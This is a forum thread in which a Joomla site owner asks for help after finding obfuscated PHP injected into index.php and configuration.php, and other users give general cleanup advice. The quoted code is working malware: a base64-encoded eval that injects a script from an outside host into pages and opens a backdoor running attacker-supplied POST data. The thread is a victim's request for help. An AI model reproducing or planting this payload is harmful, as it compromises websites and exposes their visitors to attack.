appear stranger code in file index.php

[trunghau80]

please help me, now my website was hack, appear stranger code in the file index.php and configuration.php :

<?php eval(base64_decode('aWYoIWlzc2V0KCR3YzgxKSl7ZnVuY3 Rpb24gd2M4KCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3Jp cHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF0gYX MgJHYpaWYoY291bnQoZXhwbG9kZSgiXG4iLCR2KSk+NSl7JGU9 cHJlZ19tYXRjaCgnI1tcJyJdW15cc1wnIlwuLDtcPyFcW1xdOi 88PlwoXCldezMwLH0jJywkdil8fHByZWdfbWF0Y2goJyNbXChc W10oXHMqXGQrLCl7MjAsfSMnLCR2KTtpZigocHJlZ19tYXRjaC gnI1xiZXZhbFxiIycsJHYpJiYoJGV8fHN0cnBvcygkdiwnZnJv bUNoYXJDb2RlJykpKXx8KCRlJiZzdHJwb3MoJHYsJ2RvY3VtZW 50LndyaXRlJykpKSRzPXN0cl9yZXBsYWNlKCR2LCcnLCRzKTt9 aWYocHJlZ19tYXRjaF9hbGwoJyM8aWZyYW1lIChbXj5dKj8pc3 JjPVtcJyJdPyhodHRwOik/Ly8oW14+XSo/KT4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdIGFzICR2KWlmKH ByZWdfbWF0Y2goJyMgd2lkdGhccyo9XHMqW1wnIl0/MCpbMDFdW1wnIj4gXXxkaXNwbGF5XHMqOlxzKm5vbmUjaScsJH YpJiYhc3Ryc3RyKCR2LCc/Jy4nPicpKSRzPXByZWdfcmVwbGFjZSgnIycucHJlZ19xdW90ZS gkdiwnIycpLicuKj88L2lmcmFtZT4jaXMnLCcnLCRzKTskcz1z dHJfcmVwbGFjZSgkYT1iYXNlNjRfZGVjb2RlKCdQSE5qY21sd2 RDQnpjbU05YUhSMGNEb3ZMMmQxYVhSaGNpNXphM2x1WlhRdVky OHVhM0l2Y21Wc2JGOWpiM1Z1ZEdWeUwyMWhhVzVmWldSblpTNX dhSEFnUGp3dmMyTnlhWEIwUGc9PScpLCcnLCRzKTtpZihzdHJp c3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccy o8Ym9keSkjbWknLCRhLidcMScsJHMpO2Vsc2VpZihzdHJwb3Mo JHMsJyxhJykpJHMuPSRhO3JldHVybiAkczt9ZnVuY3Rpb24gd2 M4MigkYSwkYiwkYywkZCl7Z2xvYmFsICR3YzgxOyRzPWFycmF5 KCk7aWYoZnVuY3Rpb25fZXhpc3RzKCR3YzgxKSljYWxsX3VzZX JfZnVuYygkd2M4MSwkYSwkYiwkYywkZCk7Zm9yZWFjaChAb2Jf Z2V0X3N0YXR1cygxKSBhcyAkdilpZigoJGE9JHZbJ25hbWUnXS k9PSd3YzgnKXJldHVybjtlbHNlaWYoJGE9PSdvYl9nemhhbmRs ZXInKWJyZWFrO2Vsc2UgJHNbXT1hcnJheSgkYT09J2RlZmF1bH Qgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291 bnQoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF 9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO31vYl9zdGFydCgn d2M4Jyk7Zm9yKCRpPTA7JGk8Y291bnQoJHMpOyRpKyspe29iX3 N0YXJ0KCRzWyRpXVswXSk7ZWNobyAkc1skaV1bMV07fX19JHdj OGw9KCgkYT1Ac2V0X2Vycm9yX2hhbmRsZXIoJ3djODInKSkhPS d3YzgyJyk/JGE6MDtldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlJ10pKT s=')); ?>

this code do my web don't appear, and have error :
Fatal error: Cannot redeclare wc8() (previously declared in /home/username/public_html/example/index.php(1) : eval()'d code:1) in /home/username/public_html/example/configuration.php(1) : eval()'d code on line 1

in my web : www.example.info

later : i do'nt login my administrator

please help me , i think my host was virus attack .

[farcaster]

Start here -> My website was hacked. What should I do? (http://www.bluehostforums.com/showthread.php?t=16787)

If you are using third party scripts make sure they are all up to date.

Change your passwords, here and on your local computer.

Make sure there are no viruses/trojans/etc on your computer.

[trunghau80]

my website is active on host , not computer
i don't know how scan virus on host ?

[farcaster]

Virus scan your computer to make sure that you don't have something that has done some key logging or has access to your private information.

[trunghau80]

still appear stranger code on the first in index.php :confused:
+ i download my website back my computer , and use AVG virus scan my folder
and then i upload web again to host.
+ but my web still was hack .

How is the best solve ?

[felgall]

Have you checked the script you are running on your site to make sure you are running the latest version?

[trunghau80]

now my website is used joomla 1.5.14 , i think it's best version.
i have copy source from host to local pc, and scan virus by avira virus. But when up to my host , i still see my web which is hacked.

i don't know , how to repair , please help me